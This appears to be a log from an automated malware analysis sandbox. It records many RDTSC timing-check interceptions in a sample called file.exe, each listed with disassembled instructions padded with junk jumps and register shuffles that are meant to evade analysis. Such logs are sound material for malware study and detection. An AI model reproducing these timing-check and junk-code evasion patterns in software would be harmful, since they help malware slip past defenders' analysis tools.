Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00DF second address: 4DA00E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00E3 second address: 4DA0179 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b pushad 0x0000000c jmp 00007FBCFC6B7945h 0x00000011 mov cx, 13D7h 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 jmp 00007FBCFC6B793Ah 0x0000001c push eax 0x0000001d pushad 0x0000001e pushad 0x0000001f movsx edx, cx 0x00000022 pushfd 0x00000023 jmp 00007FBCFC6B7948h 0x00000028 add ecx, 484AD0A8h 0x0000002e jmp 00007FBCFC6B793Bh 0x00000033 popfd 0x00000034 popad 0x00000035 jmp 00007FBCFC6B7948h 0x0000003a popad 0x0000003b xchg eax, ebx 0x0000003c jmp 00007FBCFC6B7940h 0x00000041 mov ebx, dword ptr [eax+10h] 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0179 second address: 4DA0196 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0196 second address: 4DA01B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, cx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA01B4 second address: 4DA01B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA01B9 second address: 4DA026F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FBCFC6B793Fh 0x00000010 jmp 00007FBCFC6B7948h 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 pushad 0x00000018 push eax 0x00000019 mov di, 44A0h 0x0000001d pop edi 0x0000001e popad 0x0000001f mov esi, dword ptr [74E806ECh] 0x00000025 jmp 00007FBCFC6B7940h 0x0000002a test esi, esi 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007FBCFC6B793Eh 0x00000033 and si, C218h 0x00000038 jmp 00007FBCFC6B793Bh 0x0000003d popfd 0x0000003e pushad 0x0000003f movzx eax, bx 0x00000042 pushfd 0x00000043 jmp 00007FBCFC6B793Bh 0x00000048 sub ah, FFFFFFDEh 0x0000004b jmp 00007FBCFC6B7949h 0x00000050 popfd 0x00000051 popad 0x00000052 popad 0x00000053 jne 00007FBCFC6B86F8h 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA026F second address: 4DA0282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0282 second address: 4DA0288 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0288 second address: 4DA02A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBCFCCB59A3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02A6 second address: 4DA031E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FBCFC6B793Fh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FBCFC6B7949h 0x0000000f add ecx, 159FD286h 0x00000015 jmp 00007FBCFC6B7941h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov dword ptr [esp], edi 0x00000021 jmp 00007FBCFC6B793Eh 0x00000026 call dword ptr [74E50B60h] 0x0000002c mov eax, 750BE5E0h 0x00000031 ret 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FBCFC6B7947h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA031E second address: 4DA0324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0324 second address: 4DA0328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0328 second address: 4DA0387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000044h 0x0000000a pushad 0x0000000b mov cx, dx 0x0000000e mov eax, edx 0x00000010 popad 0x00000011 pop edi 0x00000012 jmp 00007FBCFCCB599Bh 0x00000017 xchg eax, edi 0x00000018 jmp 00007FBCFCCB59A6h 0x0000001d push eax 0x0000001e jmp 00007FBCFCCB599Bh 0x00000023 xchg eax, edi 0x00000024 jmp 00007FBCFCCB59A6h 0x00000029 push dword ptr [eax] 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e movzx eax, di 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0387 second address: 4DA038B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA03DC second address: 4DA03E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA03E2 second address: 4DA03E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA03E8 second address: 4DA03EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA03EC second address: 4DA0478 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d jmp 00007FBCFC6B7940h 0x00000012 test esi, esi 0x00000014 jmp 00007FBCFC6B7940h 0x00000019 je 00007FBD6C716BBAh 0x0000001f pushad 0x00000020 call 00007FBCFC6B793Eh 0x00000025 mov cx, 5141h 0x00000029 pop esi 0x0000002a pushad 0x0000002b mov ax, bx 0x0000002e call 00007FBCFC6B7949h 0x00000033 pop ecx 0x00000034 popad 0x00000035 popad 0x00000036 mov eax, 00000000h 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FBCFC6B7943h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0478 second address: 4DA04BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 pushfd 0x00000007 jmp 00007FBCFCCB59A0h 0x0000000c sbb al, 00000018h 0x0000000f jmp 00007FBCFCCB599Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [esi], edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FBCFCCB59A5h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA04BA second address: 4DA0546 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c pushad 0x0000000d mov bx, si 0x00000010 pushfd 0x00000011 jmp 00007FBCFC6B7948h 0x00000016 jmp 00007FBCFC6B7945h 0x0000001b popfd 0x0000001c popad 0x0000001d mov dword ptr [esi+08h], eax 0x00000020 jmp 00007FBCFC6B793Eh 0x00000025 mov dword ptr [esi+0Ch], eax 0x00000028 jmp 00007FBCFC6B7940h 0x0000002d mov eax, dword ptr [ebx+4Ch] 0x00000030 jmp 00007FBCFC6B7940h 0x00000035 mov dword ptr [esi+10h], eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0546 second address: 4DA054C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA054C second address: 4DA0552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0552 second address: 4DA0556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0556 second address: 4DA05A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+50h] 0x0000000b pushad 0x0000000c call 00007FBCFC6B7948h 0x00000011 call 00007FBCFC6B7942h 0x00000016 pop esi 0x00000017 pop ebx 0x00000018 call 00007FBCFC6B7940h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05A0 second address: 4DA05CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esi+14h], eax 0x00000009 pushad 0x0000000a mov bx, ax 0x0000000d popad 0x0000000e mov eax, dword ptr [ebx+54h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov edi, 436EE532h 0x00000019 call 00007FBCFCCB59A3h 0x0000001e pop esi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05CE second address: 4DA05D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05D4 second address: 4DA05D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05D8 second address: 4DA0608 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7940h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+18h], eax 0x0000000e pushad 0x0000000f mov esi, 2346848Dh 0x00000014 mov dl, ch 0x00000016 popad 0x00000017 mov eax, dword ptr [ebx+58h] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov si, AAFDh 0x00000021 mov bx, ax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0608 second address: 4DA061E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB59A2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA061E second address: 4DA0622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0622 second address: 4DA064D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+1Ch], eax 0x0000000b jmp 00007FBCFCCB59A7h 0x00000010 mov eax, dword ptr [ebx+5Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA064D second address: 4DA0651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0651 second address: 4DA0655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0655 second address: 4DA065B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA065B second address: 4DA0685 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+20h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBCFCCB59A7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0685 second address: 4DA068B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA068B second address: 4DA068F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA068F second address: 4DA0729 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+60h] 0x0000000b pushad 0x0000000c mov ebx, 5D22A510h 0x00000011 pushfd 0x00000012 jmp 00007FBCFC6B7949h 0x00000017 jmp 00007FBCFC6B793Bh 0x0000001c popfd 0x0000001d popad 0x0000001e mov dword ptr [esi+24h], eax 0x00000021 jmp 00007FBCFC6B7946h 0x00000026 mov eax, dword ptr [ebx+64h] 0x00000029 pushad 0x0000002a mov ecx, 0C6849CDh 0x0000002f call 00007FBCFC6B793Ah 0x00000034 mov eax, 33505501h 0x00000039 pop ecx 0x0000003a popad 0x0000003b mov dword ptr [esi+28h], eax 0x0000003e jmp 00007FBCFC6B793Dh 0x00000043 mov eax, dword ptr [ebx+68h] 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FBCFC6B7948h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0729 second address: 4DA072D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA072D second address: 4DA0733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0733 second address: 4DA0744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB599Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0744 second address: 4DA07B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+2Ch], eax 0x0000000e jmp 00007FBCFC6B793Eh 0x00000013 mov ax, word ptr [ebx+6Ch] 0x00000017 jmp 00007FBCFC6B7940h 0x0000001c mov word ptr [esi+30h], ax 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FBCFC6B793Eh 0x00000027 adc si, 8468h 0x0000002c jmp 00007FBCFC6B793Bh 0x00000031 popfd 0x00000032 popad 0x00000033 mov ax, word ptr [ebx+00000088h] 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07B3 second address: 4DA07C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07C1 second address: 4DA07C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07C7 second address: 4DA07E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov word ptr [esi+32h], ax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov eax, edx 0x00000014 mov dx, F41Ah 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07E8 second address: 4DA083E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBCFC6B793Eh 0x00000009 or si, DC58h 0x0000000e jmp 00007FBCFC6B793Bh 0x00000013 popfd 0x00000014 mov ax, AD0Fh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov eax, dword ptr [ebx+0000008Ch] 0x00000021 jmp 00007FBCFC6B7942h 0x00000026 mov dword ptr [esi+34h], eax 0x00000029 pushad 0x0000002a mov dx, si 0x0000002d mov di, cx 0x00000030 popad 0x00000031 mov eax, dword ptr [ebx+18h] 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA083E second address: 4DA0842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0842 second address: 4DA0846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0846 second address: 4DA084C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA094D second address: 4DA097B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push 00000001h 0x00000009 pushad 0x0000000a mov dh, ah 0x0000000c call 00007FBCFC6B793Fh 0x00000011 pop ecx 0x00000012 popad 0x00000013 push ecx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 call 00007FBCFC6B793Ch 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA097B second address: 4DA099D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FBCFCCB59A2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA099D second address: 4DA09B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov edx, ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-10h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FBCFC6B793Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09B8 second address: 4DA09D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB59A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09D0 second address: 4DA09F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBCFC6B7946h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09F3 second address: 4DA09F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA09F7 second address: 4DA09FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0A6C second address: 4DA0A7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0A7B second address: 4DA0B2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBCFC6B793Fh 0x00000008 mov esi, 0DA37CEFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test edi, edi 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FBCFC6B7940h 0x00000019 and ecx, 33C5C718h 0x0000001f jmp 00007FBCFC6B793Bh 0x00000024 popfd 0x00000025 pushad 0x00000026 call 00007FBCFC6B7945h 0x0000002b pop esi 0x0000002c popad 0x0000002d popad 0x0000002e js 00007FBD6C716525h 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FBCFC6B793Dh 0x0000003b add eax, 28251366h 0x00000041 jmp 00007FBCFC6B7941h 0x00000046 popfd 0x00000047 pushfd 0x00000048 jmp 00007FBCFC6B7940h 0x0000004d sbb cl, 00000008h 0x00000050 jmp 00007FBCFC6B793Bh 0x00000055 popfd 0x00000056 popad 0x00000057 mov eax, dword ptr [ebp-0Ch] 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d pushad 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B2C second address: 4DA0B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B31 second address: 4DA0B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B37 second address: 4DA0B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B3B second address: 4DA0B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B3F second address: 4DA0B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBCFCCB599Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B5A second address: 4DA0B5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B5E second address: 4DA0B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B64 second address: 4DA0B88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 7BD27DF3h 0x00000008 mov dx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e lea eax, dword ptr [ebx+78h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FBCFC6B7941h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B88 second address: 4DA0B8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C85 second address: 4DA0C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, 2Eh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C8C second address: 4DA0D3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b pushad 0x0000000c mov esi, 653868E3h 0x00000011 jmp 00007FBCFCCB59A8h 0x00000016 popad 0x00000017 test edi, edi 0x00000019 pushad 0x0000001a mov ecx, 5F10B17Dh 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FBCFCCB59A8h 0x00000026 sbb ax, 5788h 0x0000002b jmp 00007FBCFCCB599Bh 0x00000030 popfd 0x00000031 call 00007FBCFCCB59A8h 0x00000036 pop esi 0x00000037 popad 0x00000038 popad 0x00000039 js 00007FBD6CD1433Bh 0x0000003f jmp 00007FBCFCCB59A1h 0x00000044 mov eax, dword ptr [ebp-04h] 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FBCFCCB599Dh 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D3D second address: 4DA0D5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov esi, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D5C second address: 4DA0D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0D61 second address: 4DA0D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFC6B7941h 0x00000009 rdtsc
